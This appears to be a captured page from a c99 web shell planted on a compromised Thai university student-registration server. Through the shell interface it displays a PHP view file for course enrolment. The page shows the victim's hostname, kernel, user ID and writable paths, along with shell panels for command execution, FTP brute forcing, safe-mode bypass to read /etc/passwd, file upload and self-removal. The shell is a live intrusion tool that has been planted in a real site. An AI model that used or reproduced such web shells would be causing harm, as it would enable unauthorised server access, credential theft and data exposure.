!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_addCourseOpenStudent.php (3.3 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_co 
= isset($qu_co) ? $qu_co->row() : NULL;
?>
<?php 
echo form_open($this->config->item("rg_folder")."popup/cos_insert", array("name" => "myform""id" => "myform"));?>
<table width="100%" cellpadding="0" cellspacing="0">
    <tr>
        <td colspan="2"><br /></td>
    </tr>
    <tr>
        <td colspan="2"><table class="szone">
            <tr>
                <td><font size="2"><b>รายวิชา</b>
                <?php echo getval('crsCode',$row_co).' '.getval('crsName',$row_co).' กลุ่ม '.getval('coSection',$row_co);?></font>
                <input type="hidden" id="cosCoId" name="cosCoId" value="<?php echo getval('coId',$row_co);?>"></td>
            </tr>
        </table></td>
    </tr>
    <tr>
        <td colspan="2"><table class="headCol">
            <tr>
                <th class="seqCol"><span>เลือก</span></th>
                <th class="seqCol"><span>ลำดับที่</span></th>
                <th class="stdCodeCol"><span>รหัสนักศึกษา</span></th>
                <th><span>ชื่อ-นามสกุลนักศึกษา</span></th>
                <th class="editCol"><span>กลุ่ม</span></th>
            </tr>
<?php
            $num_rows 
count($rs);
            if (
$num_rows) {
                foreach (
$rs as $key => $val) {
                    
$row_std = isset($rs[$key]['qu_std']) ? $rs[$key]['qu_std']->row() : NULL;

                    echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                <td align="center">
<?php
                    
if ($rs[$key]['dsb'] == '') {
?>
                <input type="checkbox" id="order<?php echo $key;?>" name="order<?php echo $key;?>" value="Y" <?php echo $rs[$key]['dsb'].' '.$rs[$key]['chk'];?> />
<?php
                    
}
?>
                <input type="hidden" id="cosStdId<?php echo $key;?>" name="cosStdId<?php echo $key;?>" value="<?php echo getval('stdId'$row_std);?>" /></td>
                <td align="center"><span><?php echo $key 1;?></span></td>
                <td align="center"><span><?php echo getval('stdCode'$row_std);?></span></td>
                <td class="indent"><span><?php echo getval('prefixName'$row_std).getval('stdName'$row_std).' '.getval('stdSurname'$row_std);?></span></td>
                <td align="center"><span><?php echo $rs[$key]['section'];?></span></td>
            </tr>
<?php
                
}
            } else {
?>
            <tr>
                <td colspan="5" height="22" align="center"><span class="error">** ไม่ปรากฏรายการในฐานข้อมูล **</span></td>
            </tr>
<?php
            
}
?>
        </table></td>
    </tr>
    <tr>
        <td><input type="button" name="chkAll" value="เลือกทั้งหมด" onClick="doCheckAll(this.form, true)" <?php echo ($num_rows == 0) ? 'disabled' '';?>>
        <input type="button" name="cancelAll" value="ยกเลิกทั้งหมด" onClick="doCheckAll(this.form, false)" <?php echo ($num_rows == 0) ? 'disabled' '';?>></td>
        <td align="right"><font size="2" >รวม <?php echo $num_rows;?> รายการ</font></td>
    </tr>
    <tr>
        <td colspan="2" align="center">
        <input type="submit" name="add" value="บันทึก" <?php echo (($num_rows == 0) || $cntStd) ? 'disabled' '';?> />
        <input type="hidden" id="curId" name="curId" value="<?php echo $curId;?>" />
        <input type="hidden" id="add" name="add" value="add" />
        <input type="hidden" id="cnt" name="cnt" value="<?php echo $num_rows;?>" /></td>
    </tr>
</table>
<?php echo form_close();?>

<?php
if(isset($add)) {
?>
<script>
self.window.opener.location.reload();
window.close();
</script>
<?php
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0164 ]--